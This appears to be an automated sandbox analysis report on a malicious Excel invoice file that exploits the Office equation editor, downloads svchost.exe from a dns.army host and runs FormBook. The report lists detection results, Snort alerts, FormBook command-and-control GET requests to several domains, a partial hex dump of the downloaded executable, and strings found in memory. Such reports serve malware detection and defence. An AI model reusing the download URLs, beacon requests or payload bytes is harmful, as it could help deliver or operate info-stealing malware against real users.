"0xe4e2f5f4", "0x54c93159", "0x25ea79b", "0x5bf29119", "0xd6507db", "0x32ffc9f8", "0xe4cfab72", "0x98db5380", "0xce4cc542", "0x3092a0a2", "0x66053660", "0x2607a133", "0xfcd014c1", "0x80b41d4", "0x4102ad8d", "0x857bf6a6", "0xd3ec6064", "0x23145fc4", "0xc026698f", "0x8f5385d8", "0x2430512b", "0x3ebe9086", "0x4c6fddb5", "0x276db13e", "0xe00f0a8e", "0x85cf9404", "0xb2248784", "0xcdc7e023", "0x11f5f50", "0x1dd4bc1c", "0x8235fce2", "0xc72ce2d5", "0x263178b", "0x57585356", "0x9cb95240", "0xcc39fef", "0x9347ac57", "0x9d9522dc", "0x911bc70e", "0x74443db9", "0xf04c1aa9", "0x6484bcb5", "0x11fc2f72", "0x2b44324f", "0x9d70beea", "0x59adf952", "0x172ac7b4", "0x5d4b4e66", "0xed297eae", "0xa88492a6", "0xb21b057c", "0x70f35767", "0xb6f4d5a8", "0x67cea859", "0xc1626bff", "0xb4e1ae2", "0x24a48dcf", "0xe11da208", "0x1c920818", "0x65f4449c", "0xc30bc050", "0x3e86e1fb", "0x9e01fc32", "0x216500c2", "0x48e207c9", "0x2decf13e", "0x19996921", "0xb7da3dd7", "0x47f39d2b", "0x6777e2de", "0xd980e37f", "0x963fea3b", "0xacddb7ea", "0x110aec35", "0x647331f3", "0x2e381da4", "0x50f66474", "0xec16e0c0", "0xf9d81a42", "0xd6c6f9db", "0xef3df91", "0x60e0e203", "0x7c81caaf", "0x71c2ec76", "0x25e431cc", "0x106f568f", "0x6a60c8a9", "0xb758aab3", "0x3b34de90", "0x700420f5", "0xee359a7e", "0xd1d808a", "0x47ba47a5", "0xff959c4c", "0x5d30a87d", "0xaa95a900", "0x80b19064", "0x9c5a481a", "0x1dd252d", "0xdb3055fc", "0xe0cf8bf1", "0x3a48eabc", "0xf0472f97", "0x4a6323de", "0x4260edca", "0x53f7fb4f", "0x3d2e9c99", "0xf6879235", "0xe6723cac", "0xe184dfaa", "0xe99ffaa0", "0xf6aebe25", "0xefadf9a5", "0x215de938", "0x757906aa", "0x84f8d766", "0xb6494f65", "0x13a75318", "0x5bde5587", "0xe9eba2a4", "0x6b8a0df3", "0x9c02f250", "0xe52a2a2e", "0xdb96173c", "0x3c0f2fc", "0xc30c49a6", "0xcb591d7f", "0x5c4ee455", "0x7c81c71d", "0x11c6f95e", "-----------------------------

Multi AV Scanner detection for submitted file

Show sources

Source: 0113 INV_PAK.xlsx

ReversingLabs: Detection: 21%

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.2218235916.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2218311056.0000000000330000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2375584892.00000000003C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2375310907.0000000000150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2166013985.0000000003308000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe	Joe Sandbox ML: detected
Source: C:\Users\Public\vbc.exe	Joe Sandbox ML: detected

Source: 5.2.vbc.exe.400000.1.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\Public\vbc.exe

Jump to behavior

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Compliance:

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Binary contains paths to debug symbols

Show sources

Source:	Binary string: wntdll.pdb source: vbc.exe, help.exe
Source:	Binary string: help.pdb source: vbc.exe, 00000005.00000002.2218383792.0000000000769000.00000004.00000020.sdmp

Software Vulnerabilities:

Source: excel.exe

Memory has grown: Private usage: 4MB later: 34MB

Source: C:\Users\Public\vbc.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	4_2_0032CBA8
Source: C:\Users\Public\vbc.exe	Code function: 4x nop then pop esi	5_2_00415840
Source: C:\Users\Public\vbc.exe	Code function: 4x nop then pop edi	5_2_004154D0
Source: C:\Users\Public\vbc.exe	Code function: 4x nop then pop edi	5_2_00415664
Source: C:\Windows\SysWOW64\help.exe	Code function: 4x nop then pop edi	7_2_000954D0
Source: C:\Windows\SysWOW64\help.exe	Code function: 4x nop then pop edi	7_2_00095664
Source: C:\Windows\SysWOW64\help.exe	Code function: 4x nop then pop esi	7_2_00095840

Source: global traffic

DNS query: name: sndychnesqudusissnvx.dns.army

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 103.141.138.125:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 103.141.138.125:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2022550 ET TROJAN Possible Malicious Macro DL EXE Feb 2016 192.168.2.22:49165 -> 103.141.138.125:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49167 -> 208.91.197.91:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49167 -> 208.91.197.91:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49167 -> 208.91.197.91:80

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Jan 2021 06:30:02 GMTServer: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/5.6.38Last-Modified: Wed, 27 Jan 2021 03:46:13 GMTETag: "df000-5b9d99cd20d8a"Accept-Ranges: bytesContent-Length: 913408Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e2 e1 10 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 e4 0d 00 00 0a 00 00 00 00 00 00 b6 02 0e 00 00 20 00 00 00 20 0e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 0e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 02 0e 00 4f 00 00 00 00 20 0e 00 cc 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0e 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 bc e2 0d 00 00 20 00 00 00 e4 0d 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 cc 06 00 00 00 20 0e 00 00 08 00 00 00 e6 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 0e 00 00 02 00 00 00 ee 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 02 0e 00 00 00 00 00 48 00 00 00 02 00 05 00 98 43 02 00 24 5c 01 00 03 00 00 00 01 00 00 06 bc 9f 03 00 a8 62 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 02 00 1f 00 00 00 00 00 00 00 00 00 28 1d 00 00 0a 28 1e 00 00 0a 00 de 02 00 dc 00 28 07 00 00 06 02 6f 1f 00 00 0a 00 2a 00 01 10 00 00 02 00 01 00 0e 0f 00 02 00 00 00 00 aa 00 02 16 28 20 00 00 0a 00 02 16 28 21 00 00 0a 00 02 17 28 22 00 00 0a 00 02 17 28 23 00 00 0a 00 02 17 28 24 00 00 0a 00 2a 4e 00 02 28 09 00 00 06 6f 70 04 00 06 28 25 00 00 0a 00 2a 26 00 02 28 26 00 00 0a 00 2a ce 73 27 00 00 0a 80 01 00 00 04 73 28 00 00 0a 80 02 00 00 04 73 29 00 00 0a 80 03 00 00 04 73 2a 00 00 0a 80 04 00 00 04 73 2b 00 00 0a 80 05 00 00 04 2a 00 00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 2c 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 02 00 00 11 00 7e 02 00 00 04 6f 2d 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 2e 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 2f 00 00 0a 0

Source: global traffic	HTTP traffic detected: GET /gqx2/?FH=Z6A4l46h&LBbXpL=9/BKDbjWJTW8jFQit4UrkvSCkC6DC2Rftex5RF517dla63TUfiGzTVS9eU2a+MLpIdlY9g== HTTP/1.1Host: www.inreachpt.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gqx2/?FH=Z6A4l46h&LBbXpL=kdwz49RbWZyfRfVFqlgC7QJtxuB/meiNTkA5ikaSnjB/7w8EYdi6OSMNUeLU1PJtCjvO1w== HTTP/1.1Host: www.athleteshive.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gqx2/?LBbXpL=NDTQX7mapLrAPB2lUlM56Hgg+STWZd9aU5/K481bOg5ERhcI1aoDeCBobL4shdqJetw+0A==&FH=Z6A4l46h HTTP/1.1Host: www.calusaptamiami.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gqx2/?FH=Z6A4l46h&LBbXpL=+3QoYFPEqRNlZMzGaFhuJ6Cz2rhEMAU1T5a3j4/+hda+nWQNJZmKanwic2T+mI2t6bc5xQ== HTTP/1.1Host: www.shuhan.designConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gqx2/?LBbXpL=3W3cVsor3bbPfna0qFofS9YXWKP/R6dcaODyRhEFOp9LvKZJ8f2uexAIjRYYCLBPm+vppg==&FH=Z6A4l46h HTTP/1.1Host: www.rentfs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gqx2/?FH=Z6A4l46h&LBbXpL=6nuUJCCL996uhukPA9n93qtc4x9+JW7PXVvZwiYzKnuHGI26xL3B8i1MOW2JBaaNxWuU1g== HTTP/1.1Host: www.trijjadigital.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View	IP Address: 208.91.197.91 208.91.197.91
Source: Joe Sandbox View	IP Address: 34.102.136.180 34.102.136.180

Source: Joe Sandbox View	ASN Name: CONFLUENCE-NETWORK-INCVG CONFLUENCE-NETWORK-INCVG
Source: Joe Sandbox View	ASN Name: HKMTC-AS-APHONGKONGMegalayerTechnologyCoLimitedHK HKMTC-AS-APHONGKONGMegalayerTechnologyCoLimitedHK

Source: global traffic

HTTP traffic detected: GET /documengt/svchost.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: sndychnesqudusissnvx.dns.armyConnection: Keep-Alive

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7BFBA2AD.emf

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /documengt/svchost.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: sndychnesqudusissnvx.dns.armyConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /gqx2/?FH=Z6A4l46h&LBbXpL=9/BKDbjWJTW8jFQit4UrkvSCkC6DC2Rftex5RF517dla63TUfiGzTVS9eU2a+MLpIdlY9g== HTTP/1.1Host: www.inreachpt.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gqx2/?FH=Z6A4l46h&LBbXpL=kdwz49RbWZyfRfVFqlgC7QJtxuB/meiNTkA5ikaSnjB/7w8EYdi6OSMNUeLU1PJtCjvO1w== HTTP/1.1Host: www.athleteshive.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gqx2/?LBbXpL=NDTQX7mapLrAPB2lUlM56Hgg+STWZd9aU5/K481bOg5ERhcI1aoDeCBobL4shdqJetw+0A==&FH=Z6A4l46h HTTP/1.1Host: www.calusaptamiami.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gqx2/?FH=Z6A4l46h&LBbXpL=+3QoYFPEqRNlZMzGaFhuJ6Cz2rhEMAU1T5a3j4/+hda+nWQNJZmKanwic2T+mI2t6bc5xQ== HTTP/1.1Host: www.shuhan.designConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gqx2/?LBbXpL=3W3cVsor3bbPfna0qFofS9YXWKP/R6dcaODyRhEFOp9LvKZJ8f2uexAIjRYYCLBPm+vppg==&FH=Z6A4l46h HTTP/1.1Host: www.rentfs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gqx2/?FH=Z6A4l46h&LBbXpL=6nuUJCCL996uhukPA9n93qtc4x9+JW7PXVvZwiYzKnuHGI26xL3B8i1MOW2JBaaNxWuU1g== HTTP/1.1Host: www.trijjadigital.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: <FavoriteIcon>http://www.facebook.com/favicon.ico</FavoriteIcon> equals www.facebook.com (Facebook)
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: <FavoriteIcon>http://www.myspace.com/favicon.ico</FavoriteIcon> equals www.myspace.com (Myspace)
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: <FavoriteIcon>http://www.rambler.ru/favicon.ico</FavoriteIcon> equals www.rambler.ru (Rambler)
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: <URL>http://www.facebook.com/</URL> equals www.facebook.com (Facebook)
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: <URL>http://www.rambler.ru/</URL> equals www.rambler.ru (Rambler)
Source: explorer.exe, 00000006.00000000.2180707596.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: unknown

DNS traffic detected: queries for: sndychnesqudusissnvx.dns.army

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 27 Jan 2021 06:31:33 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 23 Apr 2019 06:05:22 GMTAccept-Ranges: bytesContent-Length: 746Vary: Accept-EncodingContent-Type: text/htmlData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 30 30 70 78 29 20 7b 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 36 65 6d 3b 20 7d 20 0a 20 20 20 20 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 0a 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 47 65 6f 72 67 69 61 2c 20 73 65 72 69 66 3b 20 63 6f 6c 6f 72 3a 20 23 34 61 34 61 34 61 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 34 65 6d 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 35 3b 22 3e 0a 20 20 20 20 53 6f 72 72 79 2c 20 74 68 69 73 20 70 61 67 65 20 64 6f 65 73 6e 27 74 20 65 78 69 73 74 2e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 65 20 55 52 4c 20 6f 72 20 67 6f 20 62 61 63 6b 20 61 20 70 61 67 65 2e 0a 20 20 3c 2f 68 31 3e 0a 20 20 0a 20 20 3c 68 32 20 73 74 79 6c 65 3d 22 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 63 6f 6c 6f 72 3a 20 23 37 64 37 64 37 64 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 22 3e 0a 20 20 20 20 34 30 34 20 45 72 72 6f 72 2e 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 2e 0a 20 20 3c 2f 68 32 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!doctype html><html lang="en"><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>404 Error</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="robots" content="noindex, nofollow"> <style> @media screen and (max-width:500px) { body { font-size: .6em; } } </style></head><body style="text-align: center;"> <h1 style="font-family: Georgia, serif; color: #4a4a4a; marg

Source: explorer.exe, 00000006.00000000.2194341895.000000000A330000.00000008.00000001.sdmp	String found in binary or memory: http://%s.com
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://amazon.fr/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ariadna.elmundo.es/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ariadna.elmundo.es/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://arianna.libero.it/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://arianna.libero.it/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://asp.usatoday.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://asp.usatoday.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://auone.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2194341895.000000000A330000.00000008.00000001.sdmp	String found in binary or memory: http://auto.search.msn.com/response.asp?MT=
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://br.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://browse.guardian.co.uk/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://browse.guardian.co.uk/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.buscape.com.br/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.buscape.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.estadao.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.igbusca.com.br/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.igbusca.com.br//app/static/images/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.orange.es/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.uol.com.br/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busca.uol.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscador.lycos.es/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscador.terra.com.br/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscador.terra.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscador.terra.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscador.terra.es/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscar.ozu.es/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://buscar.ya.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://busqueda.aol.com.mx/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://cerca.lycos.it/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://cgi.search.biglobe.ne.jp/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://cgi.search.biglobe.ne.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://clients5.google.com/complete/search?hl=
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://cnet.search.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://cnweb.search.live.com/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2182699706.0000000004B50000.00000002.00000001.sdmp	String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://corp.naukri.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://corp.naukri.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://de.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://es.ask.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://es.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://esearch.rakuten.co.jp/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://espanol.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://espn.go.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://find.joins.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://fr.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://google.pchome.com.tw/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://home.altervista.org/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://home.altervista.org/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ie.search.yahoo.com/os?command=
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ie8.ebay.com/open-search/output-xml.php?q=
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://image.excite.co.jp/jp/favicon/lep.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://images.joins.com/ui_c/fvc_joins.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://images.monster.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://img.atlas.cz/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://img.shopzilla.com/shopzilla/shopzilla.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://in.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2180707596.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
